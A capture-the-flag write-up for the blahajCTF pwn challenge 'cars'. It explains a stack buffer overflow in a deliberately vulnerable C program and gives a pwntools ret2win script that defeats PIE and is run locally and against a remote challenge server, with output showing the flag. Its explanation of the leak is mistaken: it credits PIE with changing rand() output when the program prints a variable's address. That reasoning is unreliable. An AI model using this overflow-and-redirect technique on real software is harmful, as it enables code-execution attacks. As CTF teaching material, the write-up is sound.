a detailed breakdown of the challenge and my solving process
Description:
I've been playing around with this reporting system for "cyber affairs", generating ticket after ticket in hopes of breaking it. I have a feeling that there's a way to access the admin panel...
#include <stdio.h>#include <stdlib.h>// Compiled using gcc -o cars -g -fno-stack-protector cars.cunsignedlong report_number =0;voidsetup(){setvbuf(stdout,NULL, _IONBF,0);setvbuf(stdin,NULL, _IONBF,0);}voidfile_report(){charinput[28];printf("Please input your student ID: ");fgets(input,28, stdin);printf("Please describe the incident: ");fgets(input,256, stdin);printf("The matter has been recorded and will be investigated. Thank you.\n");}voidadmin(){ // how did you even get here? FILE *fptr =fopen("flag","r");if(fptr ==NULL){printf("Cannot open flag\n");exit(0);}char c;while((c =fgetc(fptr))!= EOF){printf("%c", c);}fclose(fptr);}intmain(){setup();srand(0xb1adee);// this random seed is sooo drain report_number =rand();printf("Welcome to the Cyber Affairs Reporting System (CARS)\n");printf("Report number: #%lu\n",&report_number);file_report();return0;}
Static analysis of the source code file
Upon looking at the .c file, we can notice a few things:
There are 3 functions of interest here, lets look at each one of them
main()
This function:
seeds the rand() function with the seed 0xb1adee
generates a random report number
prints stuff and prints the report number
calls file_report()
file_report()
This function:
creates a character array variable called input with size of 28
prints a prompt and gets the student id, which is written to the input variable
prints a prompt and gets the description of the incident, which is also written to the input variable
prints a fancy thank you message
Notice how the first fgets() call allows the user to write 28 bytes of input to the variable, and the second fgets() call allows the user to write 256 bytes of input to the same variable. As the amount of characters written to the input variable is more than it can store, there is a buffer overflow vulnerability present here which we will use later on in the exploit.
admin()
Now this is an interesting function, as it is not called from anywhere within the code
This function:
opens a file called flag using fopen in read mode
checks if the file is present
if it is present, prints out the output of the file
This is our win function, aka the function that will allow us to get the flag.
The only thing we need to do is to hijack the execution flow and call this function via a ret2win exploit.
Checksec
This challenge appears to be a pretty simple ret2win challenge.
Except that it isnt.
The binary has PIE enabled, which stands for Position Independent Executable
PIE
The main difference between a binary with PIE and a binary without, is that every time you run the binary with PIE, it gets loaded into a different memory address
In a binary with PIE, things like function addresses are saved as an offset, and when the program is run, a randomnised base address will be generated and the function location during runtime would be equal to base address + offset
Defeating PIE
In order to bypass PIE and get a sucessful ret2win, we need to find some sort of leak to get the PIE base address.
Sus report number
Remember how we have identified that in main(), the program seeds the rand() function? Usually, if the seed is constant, the output of rand() will also be constant.
This is the reason why programmers use the current time as the seed, as it is not constant and it is everchanging
However, in the program, our report number appears to be random, even though the seed never changes.
Due toe PIE randomnising the memory layout of the executable, the location of the rand() function changes too, which can affect its output and make it appear to change
Finding the base address
Since we have access to the C source file, we can recompile the binary on our own without PIE enabled
running the program gives us a static value report number, 4210832 (or 0x404090 in hex, easier to remember imo).
Theoretically, taking the report number the actual binary generates and subtracting it from this report number will give us our base address
Writing our exploit, part 1
lets run it.
gdb
Oops, looks like we have segfaulted the program.
From pwndbg, we can see that the program crashes due to the location of admin() that our solve script calculated being invalid
Simply put, our base address is wrong.
Finding the base address part 2
In order find the actual base address, I had to find out the margin of error which I got.
To do that, I disassembled the admin function in the same gdb session that was spawned by pwntools after the segfault.
Here's how it works:
As we can see, there is a difference of 0x400000 between the actual base address and the calculated one.
Writing our exploit part 2
Lets modify our solve script a little bit
Lets test it out.
yay! our solve script works
Solving the challenge
Lets connect our solve script to the remote container
hmmm... our exploit works locally, but not on the remote container.
Stack alignment
A common reason why exploits work locally but not remotely is due to an issue called Stack Alignment.
void setup() // not of interest
{
[...]
}
void file_report()
{
[...]
}
void admin()
{
[...]
}
int main()
{
[...]
}
int main()
{
setup();
srand(0xb1adee); // this random seed is sooo drain
report_number = rand();
printf("Welcome to the Cyber Affairs Reporting System (CARS)\n");
printf("Report number: #%lu\n", &report_number);
file_report();
return 0;
}
void file_report()
{
char input[28];
printf("Please input your student ID: ");
fgets(input, 28, stdin);
printf("Please describe the incident: ");
fgets(input, 256, stdin);
printf("The matter has been recorded and will be investigated. Thank you.\n");
}
void admin()
{
// how did you even get here?
FILE *fptr = fopen("flag", "r");
if (fptr == NULL)
{
printf("Cannot open flag\n");
exit(0);
}
char c;
while ((c = fgetc(fptr)) != EOF)
{
printf("%c", c);
}
fclose(fptr);
}
└─# checksec cars
[*] '/mnt/f/blahajCTF/pwn/cars'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
└─# ./cars-no-pie
Welcome to the Cyber Affairs Reporting System (CARS)
Report number: #4210832
Please input your student ID:
solve.py
from pwn import *
context.binary = binary = ELF("./cars_patched")
p = process()
# p= remote("188.166.197.31", 30002)
pid = gdb.attach(p)
# Get the report number from the output
p.recvuntil("Report number: #")
reportNumber = p.recvuntil("\n")
PIERand = int(reportNumber.strip().decode("utf-8"))
print(hex(PIERand))
# Update our base address
binary.address = (PIERand - 0x404090)
log.success(f'PIE base: {hex(binary.address)}') #check
# Write our payload
hidden_function = p64(binary.symbols.admin)
p.recvuntil(b"student ID:")
p.sendline(b"aaa") # bleh.
p.recvuntil(b"incident:")
payload = b"B" * (40) + hidden_function
p.sendline(payload)
p.interactive()
└─# python3 solve.py
[*] '/mnt/f/blahajCTF/pwn/writeup/cars_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/mnt/f/blahajCTF/pwn/writeup/cars_patched': pid 3672
[*] running in new terminal: ['/usr/bin/gdb', '-q', '/mnt/f/blahajCTF/pwn/writeup/cars_patched', '3672']
[+] Waiting for debugger: Done
/mnt/f/blahajCTF/pwn/writeup/solve.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Report number: #")
/mnt/f/blahajCTF/pwn/writeup/solve.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
reportNumber = p.recvuntil("\n")
0x55d75924e090
[+] PIE base: 0x55d758e4a000
[*] Switching to interactive mode
The matter has been recorded and will be investigated. Thank you.
$
Values of importance
[...]
0x5603c26cb090
[+] PIE base: 0x5603c22c7000
[...]
solve.py
from pwn import *
context.binary = binary = ELF("./cars_patched")
p = process()
# p= remote("188.166.197.31", 30002)
# pid = gdb.attach(p)
# Get the report number from the output
p.recvuntil("Report number: #")
reportNumber = p.recvuntil("\n")
PIERand = int(reportNumber.strip().decode("utf-8"))
print(hex(PIERand))
# Update our base address
binary.address = (PIERand + 0x400000 - 0x404090)
log.success(f'PIE base: {hex(binary.address)}') #check
# Write our payload
hidden_function = p64(binary.symbols.admin)
p.recvuntil(b"student ID:")
p.sendline(b"aaa") # bleh.
p.recvuntil(b"incident:")
payload = b"B" * (40) + hidden_function
p.sendline(payload)
p.interactive()
└─# python3 solve.py
[*] '/mnt/f/blahajCTF/pwn/writeup/cars_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/mnt/f/blahajCTF/pwn/writeup/cars_patched': pid 3894
/mnt/f/blahajCTF/pwn/writeup/solve.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Report number: #")
/mnt/f/blahajCTF/pwn/writeup/solve.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
reportNumber = p.recvuntil("\n")
0x562583bc2090
[+] PIE base: 0x562583bbe000
[*] Switching to interactive mode
The matter has been recorded and will be investigated. Thank you.
exploit works: flag{localFlag}
[*] Got EOF while reading in interactive
$
solve.py
from pwn import *
context.binary = binary = ELF("./cars_patched")
# p = process()
p= remote("188.166.197.31", 30002)
# pid = gdb.attach(p)
# Get the report number from the output
p.recvuntil("Report number: #")
reportNumber = p.recvuntil("\n")
PIERand = int(reportNumber.strip().decode("utf-8"))
print(hex(PIERand))
# Update our base address
binary.address = (PIERand + 0x400000 - 0x404090)
log.success(f'PIE base: {hex(binary.address)}') #check
# Write our payload
hidden_function = p64(binary.symbols.admin)
p.recvuntil(b"student ID:")
p.sendline(b"aaa") # bleh.
p.recvuntil(b"incident:")
payload = b"B" * (40) + hidden_function
p.sendline(payload)
p.interactive()
└─# python3 solve.py
[*] '/mnt/f/blahajCTF/pwn/writeup/cars_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 188.166.197.31 on port 30002: Done
/mnt/f/blahajCTF/pwn/writeup/solve.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Report number: #")
/mnt/f/blahajCTF/pwn/writeup/solve.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
reportNumber = p.recvuntil("\n")
0x564867994090
[+] PIE base: 0x564867990000
[*] Switching to interactive mode
The matter has been recorded and will be investigated. Thank you.
[*] Got EOF while reading in interactive
$
└─# python3 solve.py
[*] '/mnt/f/blahajCTF/pwn/writeup/cars_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 188.166.197.31 on port 30002: Done
/mnt/f/blahajCTF/pwn/writeup/solve.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Report number: #")
/mnt/f/blahajCTF/pwn/writeup/solve.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
reportNumber = p.recvuntil("\n")
0x55fb010c8090
[+] PIE base: 0x55fb010c4000
[*] Switching to interactive mode
The matter has been recorded and will be investigated. Thank you.
blahaj{r0pp1n6_w17h_p13}
[*] Got EOF while reading in interactive
$